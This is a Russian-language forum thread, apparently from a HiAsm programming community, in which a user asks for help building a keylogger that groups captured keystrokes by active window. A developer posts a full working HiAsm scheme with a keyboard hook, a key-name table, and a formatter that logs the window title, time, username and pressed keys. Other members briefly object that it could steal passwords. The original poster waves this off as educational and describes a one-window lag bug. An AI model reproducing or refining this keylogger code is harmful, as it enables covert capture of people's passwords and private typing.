Вверх ↑
Этот топик читают: Гость
Ответов: 578
Рейтинг: 14
#1: 2010-03-13 12:10:45 ЛС | профиль | цитата
Хочу попробовать сделать кейлогер, но никак не могу решить проблемку: нужно чтобы символы набранные в одном и том же окне соединялись складываясь в текст (в схеме будет понятнее как нужно), но никак не могу понять как отследить смену окна, так как реализовано сейчас запонимается предыдущее окно, а не текущее, может кто чего подскажет?
code_17319.txt
карма: 0

0
файлы: 1code_17319.txt [2.8KB] [118]
Разработчик
Ответов: 4698
Рейтинг: 426
#2: 2010-03-13 16:53:44 ЛС | профиль | цитата
Это что ли
Add(MainForm,2953706,539,392)
{
link(onCreate,7982784:doWork3,[(648,412)])
}
Add(WinTools,14071088,371,238)
{
link(Handle,543093:Handle,[(377,209)(150,209)(150,318)(167,318)])
}
Add(FormatStr,15782765,539,336)
{
DataCount=4
Mask="---> %2, Window: "%3" User: "%4" Pressed:\r\n%1"
link(onFString,7135931:doEvent1,[])
link(Str2,8218752:FormatTime,[(552,328)(538,328)])
link(Str3,5248413:Value,[(559,324)(591,324)(591,380)(671,380)])
link(Str4,13724506:UserName,[(566,328)(580,328)])
}
Add(ComputerInfo,13724506,574,287)
{
}
Add(Time,8218752,532,287)
{
Format="h:m:s"
}
Add(StrCat,1989327,266,238)
{
link(onStrCat,15034703:doValue,[])
link(Str1,10957002:Var1,[(272,224)(312,224)(312,278)])
}
Add(Memory,15034703,322,238)
{
}
Add(If_else,6250294,420,336)
{
Op2=String(00000409)
link(onTrue,14403926:doWork2,[])
link(onFalse,9512774:doCharset,[])
link(Op1,16528635:CurrentKbd,[])
}
Add(Charset,9512774,469,343)
{
Type=2
link(onCharset,14403926:doWork3,[(515,349)])
}
Add(KeyboardLayout,16528635,420,294)
{
}
Add(ChangeMon,15664419,273,336)
{
Data=String()
link(onData,11373973:doData,[])
link(Data,12770368:Var1,[(279,285)])
}
Add(DoData,11373973,322,336)
{
link(onEventData,733601:doCase,[])
link(Data,10957002:Var2,[])
}
Add(GetDataEx,10957002,322,273)
{
link(Data,15034703:Value,[])
}
Add(Timer,13550214,224,336)
{
Interval=50
link(onTimer,15664419:doData,[])
}
Add(Case,733601,371,336)
{
link(onNextCase,6250294:doCompare,[])
}
Add(HubEx,14403926,511,336)
{
link(onEvent,15782765:doString,[])
}
Add(KeyHook,543093,161,273)
{
link(onKeyDown,7972160:doGetString,[])
}
Add(StrList,7972160,217,231)
{
Strings=#0:|0:|0:|0:|0:|0:|0:|0:|11:[Backspace]|5:[Tab]|0:|0:|0:|7:[Enter]|0:|0:|7:[Shift]|6:[Ctrl]|5:[Alt]|7:[Pause]|10:[CapsLock]|0:|0:|0:|0:|0:|0:|5:[Esc]|0:|0:|0:|0:|7:[Space]|8:[PageUp]|10:[PageDown]|5:[End]|6:[Home]|6:[Left]|4:[Up]|7:[Right]|6:[Down]|0:|0:|0:|0:|8:[Insert]|8:[Delete]|0:|1:0|1:1|1:2|1:3|1:4|1:5|1:6|1:7|1:8|1:9|0:|0:|0:|0:|0:|0:|0:|1:A|1:B|1:C|1:D|1:E|1:F|1:G|1:H|1:I|1:J|1:K|1:L|1:M|1:N|1:O|1:P|1:Q|1:R|1:S|1:T|1:U|1:V|1:W|1:X|1:Y|1:Z|6:[LWin]|6:[RWin]|0:|14:[Applications]|0:|10:[NumPad 0]|10:[NumPad 1]|10:[NumPad 2]|10:[NumPad 3]|10:[NumPad 4]|10:[NumPad 5]|10:[NumPad 6]|10:[NumPad 7]|10:[NumPad 8]|10:[NumPad 9]|10:[NumPad *]|10:[NumPad +]|0:|10:[NumPad -]|10:[NumPad .]|10:[NumPad /]|2:F1|2:F2|2:F3|2:F4|2:F5|2:F6|2:F7|2:F8|2:F9|3:F10|3:F11|3:F12|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|9:[NumLock]|12:[ScrollLock]|0:|0:|0:|0:|0:|0:|0:|0:|0:|13:[PrintScreen]|0:|0:|6:[Meta]|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|1:;|1:+|1:,|1:-|1:.|1:/|1:~|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|0:|1:[|1:\|1:]|1:'|
Point(doGetString)
Point(onGetString)
link(onGetString,1989327:doStrCat,[])
}
Add(GetDataEx,12770368,371,280)
{
link(Data,14071088:CaptionText,[])
}
Add(Message,13913714,665,399)
{
}
Add(Memory,5248413,665,336)
{
Default=String()
Point(Data)
link(Data,12770368:Var3,[(671,285)])
}
Add(Hub,7135931,602,336)
{
link(onEvent1,7982784:doWork2,[])
link(onEvent2,13913714:doMessage,[(640,349)(640,405)])
}
Add(HubEx,7982784,644,336)
{
link(onEvent,5248413:doValue,[])
}
карма: 10
0
Ответов: 3349
Рейтинг: 233
#3: 2010-03-13 19:09:52 ЛС | профиль | цитата
Assasin, он клавиатурного шпиона делает, а т ы ему помогаеш
карма: 1

0
Разработчик
Ответов: 4698
Рейтинг: 426
#4: 2010-03-13 20:27:46 ЛС | профиль | цитата
О господи!!! Пароли тырить таким способом - плохо
карма: 10
0
Ответов: 578
Рейтинг: 14
#5: 2010-03-13 20:56:15 ЛС | профиль | цитата
Ivann, не принимай так близко к сердцу)) цели бывают злонамеренные, а бывают образовательные)

Assasin, немного не то, знаком с кейлогерами? должно быть так:

окно: bash - Поиск в Google... набрано:
цитаты с bash.org.ru

окно: вики - Поиск в Google... набрано:
вики амбразура

а в примере логируется так:

окно: bash - Поиск в Google... набрано:
[пустая строка]

окно: вики - Поиск в Google... набрано:
цитаты с bash.org.ru

то есть на одно окно запаздывают

п.с. кстати отчего зависит или код будет раскрываться или быть как ссылка на текст? почему то тег всегда один делаю а результат разный
карма: 0

0
файлы: 1code_17330.txt [344B] [80]
Ответов: 5446
Рейтинг: 323
#6: 2010-03-13 21:01:25 ЛС | профиль | цитата
GanjaKyp, от объёма кода.
карма: 1

0
Разработчик
Ответов: 4698
Рейтинг: 426
#7: 2010-03-13 21:06:14 ЛС | профиль | цитата
Нет, если при создании совершенно нового поста (не прикрепление к предыдущему твоему или не исправление текущего), то создастся файл (и ссылка на него), а в противном случае...
карма: 10
0
Ответов: 578
Рейтинг: 14
#8: 2010-03-13 21:17:28 ЛС | профиль | цитата
после добавления нового сообщения сразу после предыдущего, старое сообщение стерлось и остался только добавленный текст это баг или как?))
карма: 0

0
8
Сообщение
...
Прикрепленные файлы
(файлы не залиты)